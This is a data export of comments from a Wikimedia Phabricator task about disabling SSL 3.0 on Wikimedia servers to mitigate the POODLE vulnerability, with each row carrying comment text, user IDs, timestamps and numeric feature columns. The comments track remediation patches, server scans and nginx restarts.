405918,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"wikitech-static is a backup of wikitech in case the cluster breaks and wikitech becomes inaccessible, IIRC. Don't know about radium.",,,1422922056,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.346153846153846,0.8846153846153846,"wikitech-static is a backup of wikitech in case the cluster breaks and wikitech becomes inaccessible, IIRC. Don't know about radium."
405903,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),Are radium and wikitech-static still in use? Is it needed to disable SSL3 on these two servers?,,,1422920277,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,14.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.761904761904762,0.9523809523809523,Are radium and wikitech-static still in use? Is it needed to disable SSL3 on these two servers?
405781,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),">>! In T74072#1008913, @yuvipanda wrote:
>  what exactly is ms1001.wikimedia.org anyway?

ms 	deprecated - media storage [1]

ms1001 is a nfs server of dumps and other datasets (dataset::nfs)
ms1001 is a rsyncer to internal peers of dumps (dataset::rsync::peers)
ms1001 is a rsyncer to the public of dumps (dataset::rsync::public)
ms1001 is a dumps.wikimedia.org (dumps)


[1] https://wikitech.wikimedia.org/wiki/Infrastructure_naming_conventions
",,,1422909935,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,4.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,3.970149253731343,0.5373134328358209,"QUOTE
QUOTE

ms 	deprecated - media storage [1]

ms1001 is a nfs server of dumps and other datasets (dataset::nfs)
ms1001 is a rsyncer to internal peers of dumps (dataset::rsync::peers)
ms1001 is a rsyncer to the public of dumps (dataset::rsync::public)
ms1001 is a dumps.wikimedia.org (dumps)


[1] URL
"
405715,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),dumps.wikimedia.org reports an A now. what exactly is ms1001.wikimedia.org anyway? its ssl certificate calls it dumps.wikimedia.org,,,1422903594,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.444444444444445,0.9444444444444444,dumps.wikimedia.org reports an A now. what exactly is ms1001.wikimedia.org anyway? its ssl certificate calls it dumps.wikimedia.org
405658,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"Change 188015 merged by Yuvipanda:
dumps: Strengthen ssl settings

[[https://gerrit.wikimedia.org/r/188015]]",,,1422898513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.111111111111111,0.8333333333333334,"Change 188015 merged by Yuvipanda:
dumps: Strengthen ssl settings

[[GERRIT_URL]]"
405459,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"I scanned all the public IP addresses in dns/templates/wikimedia.org, and found four SSL 3.0 enabled servers:

```
dataset1001	208.80.154.11
ms1001		208.80.154.16
radium		208.80.154.39
wikitech-static	166.78.57.240
```
https://wikitech-static.wikimedia.org/  is also vulnerable to OpenSSL CCS vulnerability.
https://www.ssllabs.com/ssltest/analyze.html?d=wikitech-static.wikimedia.org
",,,1422846725,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,19.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.7142857142857144,0.8333333333333334,"I scanned all the public IP addresses in dns/templates/wikimedia.org, and found four SSL 3.0 enabled servers:

``CODE``
URL  is also vulnerable to OpenSSL CCS vulnerability.
URL
"
405448,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"Change 188015 had a related patch set uploaded (by Yuvipanda):
dumps: Strengthen ssl settings

[[https://gerrit.wikimedia.org/r/188015]]

#patch-for-review",,,1422838670,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7419354838709675,0.8387096774193549,"Change 188015 had a related patch set uploaded (by Yuvipanda):
dumps: Strengthen ssl settings

[[GERRIT_URL]]

#patch-for-review"
405446,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"It seems dumps is now using the default cipher suite of nginx and SSL 3.0 is still enabled.
https://www.ssllabs.com/ssltest/analyze.html?d=dumps.wikimedia.org

I think dumps is the last server with SSL 3.0 enabled.",,,1422838049,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,15.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,15.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6470588235294117,0.7647058823529411,"It seems dumps is now using the default cipher suite of nginx and SSL 3.0 is still enabled.
URL

I think dumps is the last server with SSL 3.0 enabled."
396836,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),">>! In T74072#963586, @Dzahn wrote:
> see my comment above:
> 
> ticket for upgrading sodium: RT #5420
> ticket for deploying new dumps misc hosts RT #4570
> ticket for enabling https on dumps: RT #7067
> 
> details would/should be on those tickets.
> 
> and no, sorry, not taking them

OK thanks man, without an assignee then I am down grading priority here.",,,1420739711,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,34.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,26.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.4571428571428573,0.5142857142857142,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

OK thanks man, without an assignee then I am down grading priority here."
396833,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"see my comment above:

ticket for upgrading sodium: RT #5420
ticket for deploying new dumps misc hosts RT #4570
ticket for enabling https on dumps: RT #7067

details would/should be on those tickets.

and no, sorry, not taking them",,,1420739185,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,4.0,2.0,5.0,0.0,4.0,11.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,3.6,0.7090909090909091,"see my comment above:

ticket for upgrading sodium: RT #5420
ticket for deploying new dumps misc hosts RT #4570
ticket for enabling https on dumps: RT #7067

details would/should be on those tickets.

and no, sorry, not taking them"
395955,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"@dzahn, anything left actionable on this issue?  Would you be willing to take it?",,,1420586905,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-26,True,0.0,6.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.9444444444444444,"SCREEN_NAME, anything left actionable on this issue?  Would you be willing to take it?"
392092,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),">>! In T74072#767024, @Chmarkine wrote:
> I think the only two left are lists and dumps, but they are using so outdated versions of lighttpd that disabling SSL 3 is not an option. Is there any plan to upgrade these two servers?

The plan would be to replace lighttpd with nginx. (per Faidon who recently already replace it in one other case)",,,1419258156,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.925925925925926,0.9259259259259259,"QUOTE
QUOTE

The plan would be to replace lighttpd with nginx. (per Faidon who recently already replace it in one other case)"
334130,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),">>! In T74072#767039, @Dzahn wrote:
> ticket for enabling https on dumps: RT #7067

which is also T60292 and declined.",,,1417134321,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,3.8181818181818183,0.9090909090909091,"QUOTE
QUOTE

which is also T60292 and declined."
329145,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"ticket for upgrading sodium: RT #5420
ticket for deploying new dumps misc hosts RT #4570
ticket for enabling https on dumps: RT #7067",,,1414712665,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-35,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7666666666666666,0.6333333333333333,"ticket for upgrading sodium: RT #5420
ticket for deploying new dumps misc hosts RT #4570
ticket for enabling https on dumps: RT #7067"
329141,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"(In reply to Daniel Zahn from comment #8)
> Chmarkine, you had that nice table, what does your data say now, anything
> left?

Thanks for fixing them.

I think the only two left are lists and dumps, but they are using so outdated versions of lighttpd that disabling SSL 3 is not an option. Is there any plan to upgrade these two servers?

[1] https://www.ssllabs.com/ssltest/analyze.html?d=lists.wikimedia.org
[2] https://www.ssllabs.com/ssltest/analyze.html?d=dumps.wikimedia.org",,,1414712523,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-35,True,1.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,16.0,1.0,3.0,6.0,0.0,0.0,0.0,1.0,1.0,0.0,9.0,0.0,4.0,10.0,6.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,1.0,3.357142857142857,0.8285714285714286,"(In reply to Daniel Zahn from comment #8)
QUOTE
QUOTE

Thanks for fixing them.

I think the only two left are lists and dumps, but they are using so outdated versions of lighttpd that disabling SSL 3 is not an option. Is there any plan to upgrade these two servers?

[1] URL
[2] URL"
329136,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"Chmarkine, you had that nice table, what does your data say now, anything left?",,,1414697305,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-35,True,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8888888888888888,"Chmarkine, you had that nice table, what does your data say now, anything left?"
329129,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"(In reply to Daniel Zahn from comment #4)
> it did NOT fix Tool Labs

fixed toollabs by 

https://gerrit.wikimedia.org/r/#/c/169949/2

and restarting nginx on the instance tools-webproxy

https://www.ssllabs.com/ssltest/analyze.html?d=tools.wmflabs.org


also: https://gerrit.wikimedia.org/r/#/c/170117/2",,,1414696598,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-35,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,14.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5714285714285716,0.8571428571428571,"(In reply to Daniel Zahn from comment #4)
QUOTE

fixed toollabs by 

URL

and restarting nginx on the instance tools-webproxy

URL


also: URL"
329121,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"**gerritadmin** wrote:

Change 169978 abandoned by Chmarkine:
lists - disable SSLv3

Reason:
I don't know if it will cause any problem if ""ssl.use-sslv3"" is not recognized by the current version. Anyway, there is no harm to wait until the server is upgraded.

https://gerrit.wikimedia.org/r/169978",,,1414633457,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,False,,,-35,True,2.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,5.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,11.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,10.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6984126984126986,0.746031746031746,"**gerritadmin** wrote:

Change 169978 abandoned by Chmarkine:
lists - disable SSLv3

Reason:
I don't know if it will cause any problem if ""ssl.use-sslv3"" is not recognized by the current version. Anyway, there is no harm to wait until the server is upgraded.

GERRIT_URL"
329113,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"**gerritadmin** wrote:

Change 169978 had a related patch set uploaded by Chmarkine:
lists - disable SSLv3

https://gerrit.wikimedia.org/r/169978",,,1414632502,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.038461538461538,0.8076923076923077,"**gerritadmin** wrote:

Change 169978 had a related patch set uploaded by Chmarkine:
lists - disable SSLv3

GERRIT_URL"
329107,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"fixed misc-web-lb by restarting nginx on cp1043 and cp1044. they already had the right config but lacked that.

this fixed all the services behind misc-web, including gdash and ishmael

it did NOT fix Tool Labs",,,1414624384,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-36,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,7.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.869565217391304,0.8043478260869565,"fixed misc-web-lb by restarting nginx on cp1043 and cp1044. they already had the right config but lacked that.

this fixed all the services behind misc-web, including gdash and ishmael

it did NOT fix Tool Labs"
329101,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"... and the Tool Labs?
https://www.ssllabs.com/ssltest/analyze.html?d=tools.wmflabs.org",,,1413927727,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,38.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,"... and the Tool Labs?
URL"
329096,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"Has SSL 3.0 been disabled on misc-web-lb.eqiad.wikimedia.org?

https://www.ssllabs.com/ssltest/analyze.html?d=gdash.wikimedia.org
